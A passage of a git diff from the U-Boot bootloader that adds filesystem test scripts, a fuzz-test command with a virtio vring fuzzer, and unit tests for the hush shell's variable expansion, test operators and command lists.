+ pass_fail "TC8: load 1st MB chunk after 2GB from $4 size"
+ check_hash "Test Case 8b " "$1" "$2" 5 \
+ "TC8: load 1st MB chunk after 2GB from $4"
+
+ # Check 1mb chunk crossing the 2gb boundary from 2.5GB file
+ grep -A4 "Test Case 9a " "$1" | grep -q "filesize=100000"
+ pass_fail "TC9: load 1MB chunk crossing 2GB boundary from $4 size"
+ check_hash "Test Case 9b " "$1" "$2" 6 \
+ "TC9: load 1MB chunk crossing 2GB boundary from $4"
+
+ # Check 2mb chunk from the last 1MB of 2.5GB file loads 1MB
+ grep -A5 "Test Case 10 " "$1" | grep -q "filesize=100000"
+ pass_fail "TC10: load 2MB from the last 1MB of $4 loads 1MB"
+
+ # Check 1mb chunk write
+ grep -A2 "Test Case 11a " "$1" | grep -q '1048576 bytes written'
+ pass_fail "TC11: 1MB write to $3.w - write succeeded"
+ check_hash "Test Case 11b " "$1" "$2" 1 \
+ "TC11: 1MB write to $3.w - content verified"
+
+ # Check lookup of 'dot' directory
+ grep -A4 "Test Case 12 " "$1" | grep -q 'Unable to write'
+ pass_fail "TC12: 1MB write to . - write denied"
+
+ # Check directory traversal
+ grep -A2 "Test Case 13a " "$1" | grep -q '1048576 bytes written'
+ pass_fail "TC13: 1MB write to ./$3.w2 - write succeeded"
+ check_hash "Test Case 13b " "$1" "$2" 1 \
+ "TC13: 1MB read from ./$3.w2 - content verified"
+ check_hash "Test Case 13c " "$1" "$2" 1 \
+ "TC13: 1MB read from $3.w2 - content verified"
+
+ echo "** End $1"
+}
+
+# Takes in one parameter which is "fs" or "nonfs", which then dictates
+# if a fs test (size/load/save) or a nonfs test (fatread/extread) needs to
+# be performed.
+function test_fs_nonfs() {
+ echo "Creating files in $fs image if not already present."
+ create_files $IMAGE $HASH_FILE_FS
+
+ OUT_FILE="${OUT}.$1.${fs}.out"
+ test_image $IMAGE $fs $SMALL_FILE $BIG_FILE $1 "" \
+ > ${OUT_FILE} 2>&1
+ # strip out noise from fs code
+ grep -v -e "File System is consistent\|update journal finished" \
+ -e "reading .*\.file\|writing .*\.file.w" \
+ < ${OUT_FILE} > ${OUT_FILE}_clean
+ check_results ${OUT_FILE}_clean $HASH_FILE_FS $SMALL_FILE \
+ $BIG_FILE
+ TOTAL_FAIL=$((TOTAL_FAIL + FAIL))
+ TOTAL_PASS=$((TOTAL_PASS + PASS))
+ echo "Summary: PASS: $PASS FAIL: $FAIL"
+ echo "--------------------------------------------"
+}
+
+# ********************
+# * End of functions *
+# ********************
+
+check_clean "$1"
+check_prereq
+compile_sandbox
+prepare_env
+
+# Track TOTAL_FAIL and TOTAL_PASS
+TOTAL_FAIL=0
+TOTAL_PASS=0
+
+# In each loop, for a given file system image, we test both the
+# fs command, like load/size/write, the file system specific command
+# like: ext4load/ext4size/ext4write and the host load/ls/save commands.
+for fs in ext4 fat16 fat32; do
+
+ echo "Creating $fs image if not already present."
+ IMAGE=${IMG}.${fs}.img
+ HASH_FILE_FS="${HASH_FILE}.${fs}"
+ create_image $IMAGE $fs
+
+ # host commands test
+ echo "Creating files in $fs image if not already present."
+ create_files $IMAGE $HASH_FILE_FS
+
+ # Lets mount the image and test host hostfs commands
+ mkdir -p "$MOUNT_DIR"
+ case "$fs" in
+ fat*)
+ uid="uid=`id -u`"
+ ;;
+ *)
+ uid=""
+ ;;
+ esac
+ sudo mount -o loop,rw,$uid "$IMAGE" "$MOUNT_DIR"
+ sudo chmod 777 "$MOUNT_DIR"
+
+ OUT_FILE="${OUT}.sb.${fs}.out"
+ test_image $IMAGE $fs $SMALL_FILE $BIG_FILE sb `pwd`/$MOUNT_DIR \
+ > ${OUT_FILE} 2>&1
+ sudo umount "$MOUNT_DIR"
+ rmdir "$MOUNT_DIR"
+
+ check_results $OUT_FILE $HASH_FILE_FS $SMALL_FILE $BIG_FILE
+ TOTAL_FAIL=$((TOTAL_FAIL + FAIL))
+ TOTAL_PASS=$((TOTAL_PASS + PASS))
+ echo "Summary: PASS: $PASS FAIL: $FAIL"
+ echo "--------------------------------------------"
+
+ test_fs_nonfs nonfs
+ test_fs_nonfs fs
+done
+
+echo "Total Summary: TOTAL PASS: $TOTAL_PASS TOTAL FAIL: $TOTAL_FAIL"
+echo "--------------------------------------------"
+if [ $TOTAL_FAIL -eq 0 ]; then
+ echo "PASSED"
+ exit 0
+else
+ echo "FAILED"
+ exit 1
+fi
diff --git a/test/fuzz/Makefile b/test/fuzz/Makefile
new file mode 100644
index 00000000000..663b79ce80b
--- /dev/null
+++ b/test/fuzz/Makefile
@@ -0,0 +1,8 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Copyright (c) 2022 Google, Inc.
+# Written by Andrew Scull <ascull@google.com>
+#
+
+obj-$(CONFIG_$(SPL_)CMDLINE) += cmd_fuzz.o
+obj-$(CONFIG_VIRTIO_SANDBOX) += virtio.o
diff --git a/test/fuzz/cmd_fuzz.c b/test/fuzz/cmd_fuzz.c
new file mode 100644
index 00000000000..faa140433ff
--- /dev/null
+++ b/test/fuzz/cmd_fuzz.c
@@ -0,0 +1,78 @@
+/* SPDX-License-Identifier: GPL-2.0+ */
+/*
+ * Copyright (c) 2022 Google, Inc.
+ * Written by Andrew Scull <ascull@google.com>
+ */
+
+#include <command.h>
+#include <dm.h>
+#include <fuzzing_engine.h>
+#include <test/fuzz.h>
+
+static struct fuzz_test *find_fuzz_test(const char *name)
+{
+ struct fuzz_test *fuzzer = FUZZ_TEST_START();
+ size_t count = FUZZ_TEST_COUNT();
+ size_t i;
+
+ for (i = 0; i < count; ++i) {
+ if (strcmp(name, fuzzer->name) == 0)
+ return fuzzer;
+ ++fuzzer;
+ }
+
+ return NULL;
+}
+
+static struct udevice *find_fuzzing_engine(void)
+{
+ struct udevice *dev;
+
+ if (uclass_first_device_err(UCLASS_FUZZING_ENGINE, &dev))
+ return NULL;
+
+ return dev;
+}
+
+static int do_fuzz(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct fuzz_test *fuzzer;
+ struct udevice *dev;
+
+ if (argc != 2)
+ return CMD_RET_USAGE;
+
+ fuzzer = find_fuzz_test(argv[1]);
+ if (!fuzzer) {
+ printf("Could not find fuzzer: %s\n", argv[1]);
+ return 1;
+ }
+
+ dev = find_fuzzing_engine();
+ if (!dev) {
+ puts("No fuzzing engine available\n");
+ return 1;
+ }
+
+ while (1) {
+ const uint8_t *data;
+ size_t size;
+
+ if (dm_fuzzing_engine_get_input(dev, &data, &size)) {
+ puts("Fuzzing engine failed\n");
+ return 1;
+ }
+
+ fuzzer->func(data, size);
+ }
+
+ return 1;
+}
+
+U_BOOT_LONGHELP(fuzz,
+ "[fuzz-test-name] - execute the named fuzz test\n");
+
+U_BOOT_CMD(
+ fuzz, CONFIG_SYS_MAXARGS, 1, do_fuzz,
+ "fuzz tests", fuzz_help_text
+);
diff --git a/test/fuzz/virtio.c b/test/fuzz/virtio.c
new file mode 100644
index 00000000000..836eb9a2f66
--- /dev/null
+++ b/test/fuzz/virtio.c
@@ -0,0 +1,71 @@
+/* SPDX-License-Identifier: GPL-2.0+ */
+/*
+ * Copyright (c) 2022 Google, Inc.
+ * Written by Andrew Scull <ascull@google.com>
+ */
+
+#include <dm.h>
+#include <virtio.h>
+#include <virtio_ring.h>
+#include <test/fuzz.h>
+
+static int fuzz_vring(const uint8_t *data, size_t size)
+{
+ struct udevice *bus, *dev;
+ struct virtio_dev_priv *uc_priv;
+ struct virtqueue *vq;
+ struct virtio_sg sg[2];
+ struct virtio_sg *sgs[2];
+ unsigned int len;
+ u8 buffer[2][32];
+
+ /* hackily hardcode vring sizes */
+ size_t num = 4;
+ size_t desc_size = (sizeof(struct vring_desc) * num);
+ size_t avail_size = (3 + num) * sizeof(u16);
+ size_t used_size = (3 * sizeof(u16)) + (sizeof(struct vring_used_elem) * num);
+
+ if (size < (desc_size + avail_size + used_size))
+ return 0;
+
+ /* check probe success */
+ if (uclass_first_device_err(UCLASS_VIRTIO, &bus))
+ panic("Could not find virtio bus\n");
+
+ /* check the child virtio-rng device is bound */
+ if (device_find_first_child(bus, &dev) || !dev)
+ panic("Could not find virtio device\n");
+
+ /*
+ * fake the virtio device probe by filling in uc_priv->vdev
+ * which is used by virtio_find_vqs/virtio_del_vqs.
+ */
+ uc_priv = dev_get_uclass_priv(bus);
+ uc_priv->vdev = dev;
+
+ /* prepare the scatter-gather buffer */
+ sg[0].addr = buffer[0];
+ sg[0].length = sizeof(buffer[0]);
+ sg[1].addr = buffer[1];
+ sg[1].length = sizeof(buffer[1]);
+ sgs[0] = &sg[0];
+ sgs[1] = &sg[1];
+
+ if (virtio_find_vqs(dev, 1, &vq))
+ panic("Could not find vqs\n");
+ if (virtqueue_add(vq, sgs, 0, 1))
+ panic("Could not add to virtqueue\n");
+ /* Simulate device writing to vring */
+ memcpy(vq->vring.desc, data, desc_size);
+ memcpy(vq->vring.avail, data + desc_size, avail_size);
+ memcpy(vq->vring.used, data + desc_size + avail_size, used_size);
+ /* Make sure there is a response */
+ if (vq->vring.used->idx == 0)
+ vq->vring.used->idx = 1;
+ virtqueue_get_buf(vq, &len);
+ if (virtio_del_vqs(dev))
+ panic("Could not delete vqs\n");
+
+ return 0;
+}
+FUZZ_TEST(fuzz_vring, 0);
diff --git a/test/hush/Makefile b/test/hush/Makefile
new file mode 100644
index 00000000000..a2d98815e50
--- /dev/null
+++ b/test/hush/Makefile
@@ -0,0 +1,10 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# (C) Copyright 2021
+# Francis Laniel, Amarula Solutions, francis.laniel@amarulasolutions.com
+
+obj-y += cmd_ut_hush.o
+obj-y += if.o
+obj-y += dollar.o
+obj-y += list.o
+obj-y += loop.o
diff --git a/test/hush/cmd_ut_hush.c b/test/hush/cmd_ut_hush.c
new file mode 100644
index 00000000000..abad44f3216
--- /dev/null
+++ b/test/hush/cmd_ut_hush.c
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * (C) Copyright 2021
+ * Francis Laniel, Amarula Solutions, francis.laniel@amarulasolutions.com
+ */
+
+#include <command.h>
+#include <test/hush.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+int do_ut_hush(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(hush_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(hush_test);
+
+ return cmd_ut_category("hush", "hush_test_",
+ tests, n_ents, argc, argv);
+}
diff --git a/test/hush/dollar.c b/test/hush/dollar.c
new file mode 100644
index 00000000000..4caa07c192a
--- /dev/null
+++ b/test/hush/dollar.c
@@ -0,0 +1,225 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * (C) Copyright 2021
+ * Francis Laniel, Amarula Solutions, francis.laniel@amarulasolutions.com
+ */
+
+#include <command.h>
+#include <env_attr.h>
+#include <test/hush.h>
+#include <test/ut.h>
+#include <asm/global_data.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+static int hush_test_simple_dollar(struct unit_test_state *uts)
+{
+ console_record_reset_enable();
+ ut_assertok(run_command("echo $dollar_foo", 0));
+ ut_assert_nextline_empty();
+ ut_assert_console_end();
+
+ ut_assertok(run_command("echo ${dollar_foo}", 0));
+ ut_assert_nextline_empty();
+ ut_assert_console_end();
+
+ ut_assertok(run_command("dollar_foo=bar", 0));
+
+ ut_assertok(run_command("echo $dollar_foo", 0));
+ ut_assert_nextline("bar");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("echo ${dollar_foo}", 0));
+ ut_assert_nextline("bar");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("dollar_foo=\\$bar", 0));
+
+ ut_assertok(run_command("echo $dollar_foo", 0));
+ ut_assert_nextline("$bar");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("dollar_foo='$bar'", 0));
+
+ ut_assertok(run_command("echo $dollar_foo", 0));
+ ut_assert_nextline("$bar");
+ ut_assert_console_end();
+
+ ut_asserteq(1, run_command("dollar_foo=bar quux", 0));
+ /* Next line contains error message */
+ ut_assert_skipline();
+ ut_assert_console_end();
+
+ ut_asserteq(1, run_command("dollar_foo='bar quux", 0));
+ /* Next line contains error message */
+ ut_assert_skipline();
+
+ if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /*
+ * For some strange reasons, the console is not empty after
+ * running above command.
+ * So, we reset it to not have side effects for other tests.
+ */
+ console_record_reset_enable();
+ } else if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ ut_assert_console_end();
+ }
+
+ ut_asserteq(1, run_command("dollar_foo=bar quux\"", 0));
+ /* Two next lines contain error message */
+ ut_assert_skipline();
+ ut_assert_skipline();
+
+ if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /* See above comments. */
+ console_record_reset_enable();
+ } else if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ ut_assert_console_end();
+ }
+
+ ut_assertok(run_command("dollar_foo='bar \"quux'", 0));
+
+ ut_assertok(run_command("echo $dollar_foo", 0));
+ /*
+ * This one is buggy.
+ * ut_assert_nextline("bar \"quux");
+ * ut_assert_console_end();
+ *
+ * So, let's reset output:
+ */
+ console_record_reset_enable();
+
+ if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /*
+ * Old parser returns an error because it waits for closing
+ * '\'', but this behavior is wrong as the '\'' is surrounded by
+ * '"', so no need to wait for a closing one.
+ */
+ ut_assertok(run_command("dollar_foo=\"bar 'quux\"", 0));
+
+ ut_assertok(run_command("echo $dollar_foo", 0));
+ ut_assert_nextline("bar 'quux");
+ ut_assert_console_end();
+ } else if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ ut_asserteq(1, run_command("dollar_foo=\"bar 'quux\"", 0));
+ /* Next line contains error message */
+ ut_assert_skipline();
+ ut_assert_console_end();
+ }
+
+ ut_assertok(run_command("dollar_foo='bar quux'", 0));
+ ut_assertok(run_command("echo $dollar_foo", 0));
+ ut_assert_nextline("bar quux");
+ ut_assert_console_end();
+
+ if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /* Reset local variable. */
+ ut_assertok(run_command("dollar_foo=", 0));
+ } else if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ puts("Beware: this test set local variable dollar_foo and it cannot be unset!");
+ }
+
+ return 0;
+}
+HUSH_TEST(hush_test_simple_dollar, 0);
+
+static int hush_test_env_dollar(struct unit_test_state *uts)
+{
+ env_set("env_foo", "bar");
+ console_record_reset_enable();
+
+ ut_assertok(run_command("echo $env_foo", 0));
+ ut_assert_nextline("bar");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("echo ${env_foo}", 0));
+ ut_assert_nextline("bar");
+ ut_assert_console_end();
+
+ /* Environment variables have priority over local variable */
+ ut_assertok(run_command("env_foo=quux", 0));
+ ut_assertok(run_command("echo ${env_foo}", 0));
+ ut_assert_nextline("bar");
+ ut_assert_console_end();
+
+ /* Clean up setting the variable */
+ env_set("env_foo", NULL);
+
+ if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /* Reset local variable. */
+ ut_assertok(run_command("env_foo=", 0));
+ } else if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ puts("Beware: this test set local variable env_foo and it cannot be unset!");
+ }
+
+ return 0;
+}
+HUSH_TEST(hush_test_env_dollar, 0);
+
+static int hush_test_command_dollar(struct unit_test_state *uts)
+{
+ console_record_reset_enable();
+
+ ut_assertok(run_command("dollar_bar=\"echo bar\"", 0));
+
+ ut_assertok(run_command("$dollar_bar", 0));
+ ut_assert_nextline("bar");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("${dollar_bar}", 0));
+ ut_assert_nextline("bar");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("dollar_bar=\"echo\nbar\"", 0));
+
+ ut_assertok(run_command("$dollar_bar", 0));
+ ut_assert_nextline("bar");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("dollar_bar='echo bar\n'", 0));
+
+ ut_assertok(run_command("$dollar_bar", 0));
+ ut_assert_nextline("bar");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("dollar_bar='echo bar\\n'", 0));
+
+ ut_assertok(run_command("$dollar_bar", 0));
+
+ if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /*
+ * This difference seems to come from a bug solved in Busybox
+ * hush.
+ * Behavior of hush 2021 is coherent with bash and other shells.
+ */
+ ut_assert_nextline("bar\\n");
+ } else if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ ut_assert_nextline("barn");
+ }
+
+ ut_assert_console_end();
+
+ ut_assertok(run_command("dollar_bar='echo $bar'", 0));
+
+ ut_assertok(run_command("$dollar_bar", 0));
+ ut_assert_nextline("$bar");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("dollar_quux=quux", 0));
+ ut_assertok(run_command("dollar_bar=\"echo $dollar_quux\"", 0));
+
+ ut_assertok(run_command("$dollar_bar", 0));
+ ut_assert_nextline("quux");
+ ut_assert_console_end();
+
+ if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /* Reset local variables. */
+ ut_assertok(run_command("dollar_bar=", 0));
+ ut_assertok(run_command("dollar_quux=", 0));
+ } else if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ puts("Beware: this test sets local variable dollar_bar and dollar_quux and they cannot be unset!");
+ }
+
+ return 0;
+}
+HUSH_TEST(hush_test_command_dollar, 0);
diff --git a/test/hush/if.c b/test/hush/if.c
new file mode 100644
index 00000000000..8939b7a6c86
--- /dev/null
+++ b/test/hush/if.c
@@ -0,0 +1,316 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * (C) Copyright 2021
+ * Francis Laniel, Amarula Solutions, francis.laniel@amarulasolutions.com
+ */
+
+#include <command.h>
+#include <env_attr.h>
+#include <vsprintf.h>
+#include <test/hush.h>
+#include <test/ut.h>
+
+/*
+ * All tests will execute the following:
+ * if condition_to_test; then
+ * true
+ * else
+ * false
+ * fi
+ * If condition is true, command returns 1, 0 otherwise.
+ */
+const char *if_format = "if %s; then true; else false; fi";
+
+static int hush_test_if_base(struct unit_test_state *uts)
+{
+ char if_formatted[128];
+
+ sprintf(if_formatted, if_format, "true");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "false");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ return 0;
+}
+HUSH_TEST(hush_test_if_base, 0);
+
+static int hush_test_if_basic_operators(struct unit_test_state *uts)
+{
+ char if_formatted[128];
+
+ sprintf(if_formatted, if_format, "test aaa = aaa");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test aaa = bbb");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test aaa != bbb");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test aaa != aaa");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test aaa < bbb");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test bbb < aaa");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test bbb > aaa");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test aaa > bbb");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 123 -eq 123");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 123 -eq 456");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 123 -ne 456");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 123 -ne 123");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 123 -lt 456");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 123 -lt 123");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 456 -lt 123");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 123 -le 456");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 123 -le 123");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 456 -le 123");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 456 -gt 123");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 123 -gt 123");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 123 -gt 456");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 456 -ge 123");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 123 -ge 123");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 123 -ge 456");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ return 0;
+}
+HUSH_TEST(hush_test_if_basic_operators, 0);
+
+static int hush_test_if_octal(struct unit_test_state *uts)
+{
+ char if_formatted[128];
+
+ sprintf(if_formatted, if_format, "test 010 -eq 010");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 010 -eq 011");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 010 -ne 011");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 010 -ne 010");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ return 0;
+}
+HUSH_TEST(hush_test_if_octal, 0);
+
+static int hush_test_if_hexadecimal(struct unit_test_state *uts)
+{
+ char if_formatted[128];
+
+ sprintf(if_formatted, if_format, "test 0x2000000 -gt 0x2000001");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 0x2000000 -gt 0x2000000");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 0x2000000 -gt 0x1ffffff");
+ ut_assertok(run_command(if_formatted, 0));
+
+ return 0;
+}
+HUSH_TEST(hush_test_if_hexadecimal, 0);
+
+static int hush_test_if_mixed(struct unit_test_state *uts)
+{
+ char if_formatted[128];
+
+ sprintf(if_formatted, if_format, "test 010 -eq 10");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 010 -ne 10");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 0xa -eq 10");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 0xa -eq 012");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 2000000 -gt 0x1ffffff");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 0x2000000 -gt 1ffffff");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 0x2000000 -lt 1ffffff");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 0x2000000 -eq 2000000");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test 0x2000000 -ne 2000000");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test -z \"\"");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test -z \"aaa\"");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test -n \"aaa\"");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test -n \"\"");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ return 0;
+}
+HUSH_TEST(hush_test_if_mixed, 0);
+
+static int hush_test_if_inverted(struct unit_test_state *uts)
+{
+ char if_formatted[128];
+
+ sprintf(if_formatted, if_format, "test ! aaa = aaa");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test ! aaa = bbb");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test ! ! aaa = aaa");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test ! ! aaa = bbb");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ return 0;
+}
+HUSH_TEST(hush_test_if_inverted, 0);
+
+static int hush_test_if_binary(struct unit_test_state *uts)
+{
+ char if_formatted[128];
+
+ sprintf(if_formatted, if_format, "test aaa != aaa -o bbb != bbb");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test aaa != aaa -o bbb = bbb");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test aaa = aaa -o bbb != bbb");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test aaa = aaa -o bbb = bbb");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test aaa != aaa -a bbb != bbb");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test aaa != aaa -a bbb = bbb");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test aaa = aaa -a bbb != bbb");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test aaa = aaa -a bbb = bbb");
+ ut_assertok(run_command(if_formatted, 0));
+
+ return 0;
+}
+HUSH_TEST(hush_test_if_binary, 0);
+
+static int hush_test_if_inverted_binary(struct unit_test_state *uts)
+{
+ char if_formatted[128];
+
+ sprintf(if_formatted, if_format, "test ! aaa != aaa -o ! bbb != bbb");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test ! aaa != aaa -o ! bbb = bbb");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test ! aaa = aaa -o ! bbb != bbb");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test ! aaa = aaa -o ! bbb = bbb");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format,
+ "test ! ! aaa != aaa -o ! ! bbb != bbb");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format,
+ "test ! ! aaa != aaa -o ! ! bbb = bbb");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format,
+ "test ! ! aaa = aaa -o ! ! bbb != bbb");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test ! ! aaa = aaa -o ! ! bbb = bbb");
+ ut_assertok(run_command(if_formatted, 0));
+
+ return 0;
+}
+HUSH_TEST(hush_test_if_inverted_binary, 0);
+
+static int hush_test_if_z_operator(struct unit_test_state *uts)
+{
+ char if_formatted[128];
+
+ /* Deal with environment variable used during test. */
+ env_set("ut_var_nonexistent", NULL);
+ env_set("ut_var_exists", "1");
+ env_set("ut_var_unset", "1");
+
+ sprintf(if_formatted, if_format, "test -z \"$ut_var_nonexistent\"");
+ ut_assertok(run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test -z \"$ut_var_exists\"");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ sprintf(if_formatted, if_format, "test -z \"$ut_var_unset\"");
+ ut_asserteq(1, run_command(if_formatted, 0));
+
+ env_set("ut_var_unset", NULL);
+ sprintf(if_formatted, if_format, "test -z \"$ut_var_unset\"");
+ ut_assertok(run_command(if_formatted, 0));
+
+ /* Clear the set environment variable. */
+ env_set("ut_var_exists", NULL);
+
+ return 0;
+}
+HUSH_TEST(hush_test_if_z_operator, 0);
diff --git a/test/hush/list.c b/test/hush/list.c
new file mode 100644
index 00000000000..210823db2f5
--- /dev/null
+++ b/test/hush/list.c
@@ -0,0 +1,139 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * (C) Copyright 2021
+ * Francis Laniel, Amarula Solutions, francis.laniel@amarulasolutions.com
+ */
+
+#include <command.h>
+#include <env_attr.h>
+#include <test/hush.h>
+#include <test/ut.h>
+#include <asm/global_data.h>
+
+static int hush_test_semicolon(struct unit_test_state *uts)
+{
+ /* A; B = B truth table. */
+ ut_asserteq(1, run_command("false; false", 0));
+ ut_assertok(run_command("false; true", 0));
+ ut_assertok(run_command("true; true", 0));
+ ut_asserteq(1, run_command("true; false", 0));
+
+ return 0;
+}
+HUSH_TEST(hush_test_semicolon, 0);
+
+static int hush_test_and(struct unit_test_state *uts)
+{
+ /* A && B truth table. */
+ ut_asserteq(1, run_command("false && false", 0));
+ ut_asserteq(1, run_command("false && true", 0));
+ ut_assertok(run_command("true && true", 0));
+ ut_asserteq(1, run_command("true && false", 0));
+
+ return 0;
+}
+HUSH_TEST(hush_test_and, 0);
+
+static int hush_test_or(struct unit_test_state *uts)
+{
+ /* A || B truth table. */
+ ut_asserteq(1, run_command("false || false", 0));
+ ut_assertok(run_command("false || true", 0));
+ ut_assertok(run_command("true || true", 0));
+ ut_assertok(run_command("true || false", 0));
+
+ return 0;
+}
+HUSH_TEST(hush_test_or, 0);
+
+DECLARE_GLOBAL_DATA_PTR;
+
+static int hush_test_and_or(struct unit_test_state *uts)
+{
+ /* A && B || C truth table. */
+ ut_asserteq(1, run_command("false && false || false", 0));
+
